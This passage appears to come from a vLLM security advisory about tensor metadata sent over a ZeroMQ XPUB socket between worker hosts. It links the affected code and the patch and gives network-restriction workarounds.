https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/worker_base.py#L332-L352
but the data actually sent over ZeroMQ is the metadata_list portion that is split from this tensor_dict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.
https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallel_state.py#L61-L83
Patches
https://github.com/vllm-project/vllm/pull/17197
Workarounds
Prior to the fix, your options include:
1. Do not expose the vLLM host to a network where any untrusted connections may reach the host.
2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.
References
Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183